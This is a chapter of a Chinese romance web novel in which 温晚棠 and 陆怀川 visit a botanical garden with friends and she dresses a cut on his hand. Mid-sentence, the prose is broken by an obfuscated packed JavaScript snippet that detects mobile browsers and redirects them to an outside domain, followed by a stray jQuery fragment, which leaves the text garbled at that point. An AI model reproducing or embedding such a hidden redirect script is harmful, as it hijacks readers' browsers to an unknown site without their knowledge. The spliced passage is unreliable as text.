温晚棠手中的伞还没举过他头顶,那男生看了一眼陆怀川,收回手机识趣地走了。
陆怀川把买的药递给她,腾出手去握伞把,沉声:“给我。”
温晚棠反应慢半拍,两人的手就这么搭在了一起,空气热得像个蒸笼,他掌心也滚烫,她却在这一瞬间出了神。
陆怀川两根手指捏着伞柄,往上挪了一下,淡然地看她:“你打算什么时候松手?”
“......”温晚棠低了下头,赶紧抽回手,自觉绕到他右边站着。
陆怀川举着伞跟她一起往回走,温晚棠垂下眼睫,两只手有一下没一下地揉着裙摆。
她走路时习惯盯着影子,但此刻伞面遮挡了自己的阴影,只剩下陆怀川的影子在地面上移动着。
太阳在他左边,所以他的影子朝右,也就是朝向她。
温晚棠不受控地有着这些心理活动,又觉得很蠢,一个影子又能代表什么。
两人慢悠悠地走着,即使全程无交流也不觉得尴尬,从学生时代开始他俩的相处就是这样,不需要刻意找话题,陪对方走着就行。
回到野餐的地方,周听也和顾千帆已经在各自的帐篷里待着了,总共搭建了两个大帐篷。
周听也听到外面的脚步声,从帐篷里探出头:“糖糖快进来呀,现在日光太毒辣了,我们晚点去植物园。”
陆怀川看她一眼,想说什么又打住,收好伞,进了帐篷。
温晚棠进了帐篷放下手边的塑料袋,周听也凑近看了看她脖颈,“糖糖,你还真是招蚊子体质啊,我都还没被叮呢。”
温晚棠这才拿手机屏幕去瞅,“我竟然没感觉。”
“我给你涂。”周听也打开塑料袋,被里面五花八门的止痒消炎药膏惊到了,“你这是打劫了药店?”
“......”温晚棠讪讪一笑,想说这不是她买的,恍然意识到这些东西超市没有买,外面药店才有。
周听也往她脖颈上喷药水,边说:“记得有一回,学校组织那什么下乡劳动课,刚进苹果园里一会儿,你胳膊就红了一大片,可吓人了。好像是陆怀川拉你去诊所的吧。”
“是有这么一回事。”温晚棠记得当时摘苹果,每个小组分有任务量,大家忙着早完成任务早解放,她不以为意地拉下袖子继续摘苹果,后来是陆怀川喊走她的。当时她都不知道他要干嘛,到了诊所才知道。
“现在想想,我高中的时候挺娇气的,夏天班里开风扇都能把我吹感冒,然后一个感冒就能要了我半条命。”温晚棠想起自己小时候有个外号,淡笑了下,“像个药罐子。”
“很正常啊,青春期的身体素质都比较差,尤其是女孩子。”周听也给她喷完药,有点担心她还会被蚊子咬,“要不咱下午不去植物园了,就留在帐篷里睡觉,一直到晚上看星星。”
“大不了我多喷点驱蚊液。”温晚棠信誓旦旦地说,“我现在可没以前那么脆弱了啊。”
另一个帐篷内,两男人盘腿而坐,中间支起一个折叠桌,上面放着两大串葡萄。
顾千帆边吃葡萄边吐槽:“有葡萄你还买,买就算了,还买那么多。”
陆怀川懒得解释,掰着葡萄说:“这葡萄甜。”
他不说顾千帆也知道,陆冰块肯定又大发热心肠了,他这人总是披着冰冷的外表干热心肠的事。
以前校门口有个靠卖栀子花养家的老奶奶,陆怀川每路过一次都要买好几朵。
那段时间,他房间里随处放着栀子花,就连他身上都有栀子花味,顾千帆闻着那香味,都得躲远点,生怕听听误以为他在外面沾花惹草了。
顾千帆指关节敲了下桌面,挤眉弄眼:“等会去植物园给你个近水楼台啊。”
陆怀川瞧着他翻过来的手机屏幕,是网上发的植物园推荐帖。
“玫瑰庄园浪漫氛围感拉满,凡是来这的有情人都会终成眷属。”顾千帆一字一句念着网评,兴味盎然地说起计划:“到时候我和听听自动消失,你们俩逛怎么样?”
陆怀川挪开眼,哂笑了声:“这种帖子不过就是商家骗你们去游玩的暗广,你还信这个。”
“再说,我需要什么近水楼台?”
“......”顾千帆脸一黑,撂下手机,啧了一声:“你最好别去!”
植物园和云尚公园仅有一墙之隔,经常和公园捆绑营销,还设立了专门的通道。下午四点左右,阳光没那么刺眼了,七号门贸然涌入许多游客。
四人跟着队伍入园,眼前又是一番自然景观,各种稀奇古怪的植物都有,周听也从包里掏出相机,拉着温晚棠各种拍照。
两姑娘在仙人掌沙漠想拍合照,再回头看两男人,他俩竟然在很认真地讨论仙人掌的品质和起源地,其中就属陆怀川说得尽兴,已经有一小波听众洗耳恭听了。
温晚棠站在沙漠的上坡,笑了笑,听他在科普:“单刺仙人掌主要分布云南西部,高度在1.3至7米左右......”
“顾千帆!”周听也大喊一声,他闻声回头,陆怀川跟着戛然而止,抬头看她们。
顾千帆走过去问:“怎么了?”
“过来给我俩拍照。”周听也说完这句,瞪着陆怀川,“陆教授,要不要给你搬张椅子拿个小黑板,让你在这上课啊。”
“......”陆怀川就此作罢,于是将功补罪,主动拦下给她们拍照的活。
一顿咔嚓操作后,周听也过去验收成果,温晚棠从包里拿出矿泉水,正仰头喝着。
只见周听也把相机扔回陆怀川手里,哼哧一声:“这些照片你给糖糖看吧。”
然后气冲冲地走了,顾千帆紧追上去:“听听。”
温晚棠放下水,踮脚走近,假笑了一下:“看来陆先生的拍照技术堪称一流啊。”
“......”陆怀川睥睨着她,兀自关闭了相机,拒绝给她看的意思。
温晚棠心想:哼,我还不想看你把我拍得多丑呢,省得给自己添堵。
一转眼就不见周听也和顾千帆的人影了,他俩顺着人流去下一站。温晚棠在群里发消息问他俩人呢,顾千帆说,他们太累了去休息站买水喝了。
“那要不我们去找他俩吧。”温晚棠视线移开屏幕,询问陆怀川的意见。
“来都来了,不进去参观参观?”陆怀川停在原地,眼风飘向身侧的一个入口。
“四季玫瑰庄园。”温晚棠仰头读了下牌匾,察觉他想去参观的意思,附和道:“那行,我们去看看吧。”
正如其名,这庄园种满了各色各样的玫瑰,中间有个用红玫瑰搭建的广场,四周的墙壁载满了正在生长的玫瑰花。为了制造浪漫的童话氛围,脚下还会起雾。
“你好,可以帮我们拍个照吗?”有个小姑娘走过来同时看向他俩。
陆怀川看了眼女生,两手插在裤兜里,刚掏出来。
温晚棠可不想陆怀川再霍霍别人了,主动上前说:“我来吧。”
“谢谢小姐姐。”女生笑了笑,跑回去牵男朋友的手,两人站在花墙前摆姿势。
温晚棠举起手机拍照时,肩上的帆布包总往下滑,她下意识往上提了提。
陆怀川长身鹤立地站在右边,手臂一伸,朝她勾了勾手指:“看在你替我拍照的份上,我好心帮你拿一下包。”
“谢了。”温晚棠随手将肩带往他掌心一挂,没想到会这么重,陆怀川胳膊猛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043868|178912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地软了一下,扯了扯唇角:“合着你一路上背个石头也不吭一声。”
“......”温晚棠一边给人小姑娘和男朋友拍照,一边回话:“我说了你就会帮我背么?”
陆怀川拎着那块“石头”,扫她一眼:“不会。”
温晚棠正想回“那不就得了”,谁知他还有下句:“你求我可以。”
“......”
温晚棠眉心一跳,他是不是还记仇呢,可她都道歉了啊,他还想让她怎样。
她两眼正视前方,给对面的情侣找角度,又因为思绪有点飘,没注意其他。
这会儿人流量变多了,几个打闹的小孩横冲直撞地闯进来,倏忽,一个小男孩从身前闪过,撞了她一下,温晚棠没站稳脚步往后踉跄。
“啪”地一声,手机落地,她往后仰的时候,一只宽大的手掌及时垫在她后脑勺,而后另一只手拉住了她的胳膊。
陆怀川把人扶稳,温晚棠半惊半懵地站好。
那女生跑过来捡起手机,专门看了看她后脑勺,慌张说:“小姐姐,你没事吧,你后面的玫瑰墙有刺。”
温晚棠摇头,想起工作人员提醒玫瑰花都是活的,茎部有刺,不要上手去碰。
刚刚陆怀川的手......
她低头看他的手时,陆怀川下意识躲了一下,温晚棠什么也不顾地去抓他的手腕,他手背虎口的位置被戳破了,鲜血直流。
......
眼瞧着太阳落山,周听也和顾千帆在群里发消息问他们在哪,要不现在回去。
陆怀川发了个他们野餐的位置图:「回了。」
他熄灭手机,眼睛骨碌一转,温晚棠就坐在他旁边,从医药箱里拿出酒精、碘伏和棉签。
她先用酒精给伤口消毒,又沾着碘伏谨小慎微地往他手背上点,“还好你带医药箱了。”
“嗯。”陆怀川垂下眼,视野里是她低着白皙的脖颈,乌黑的长发垂在凸起的锁骨上。
就连鼻息都沁入她身上的清香,淡淡的栀子花味。
为了处理他掌心的血迹,温晚棠拿起他的左手腕,用酒精擦拭,因着这个动作,她的发梢来回擦过他的手臂。
陆怀川屏息了三秒,眼睛转向别处,吞咽了几下都觉得呼吸困难,抑或是掌心留有她的余温,他突然抽回了手。
温晚棠眨了眨眼,木然地瞧他,陆怀川不甚自在,扯出一个玩味的笑容:“温女士给人处理伤口还动手动脚啊。”
“......”
“伤口还没处理完。”温晚棠无心应付他的玩笑话,说着便又要去拿他的手,陆怀川径自站了起来,让她扑了个空。
温晚棠也站起身,看着他侧身踌躇在原地,右手臂举了举又无处安放,受伤的手垂着。
他像是有了情绪,周身气压偏低,温晚棠撕着创可贴,轻声说:“快贴上吧,要不然又要有血渗出来了。”
陆怀川转过身,眼神增添了些凝重,不慎在意道:“一个小伤口,皮外伤而已。”
已有血滴顺着他指尖滑了下来,温晚棠急得快跺脚,忙慌说:“小伤口也会感染啊,你知不知道如果处理不当,伤口会发炎,引起破伤风。”
陆怀川一动不动地听着这些话,沉吟了一瞬,平静地追问:“温晚棠,受伤的是我,你着什么急?”
“因为——”温晚棠刚出口这两字,视线对上了他深沉的眉眼,剩下的话硬生生卡在喉咙。
紧接着,她眼眶有了涩意,视线似乎蒙上一层薄薄的雾气。
因为在此刻,我没有办法欺骗自己。
我还是在乎你。
大神,我好像翻不过你的五指山了。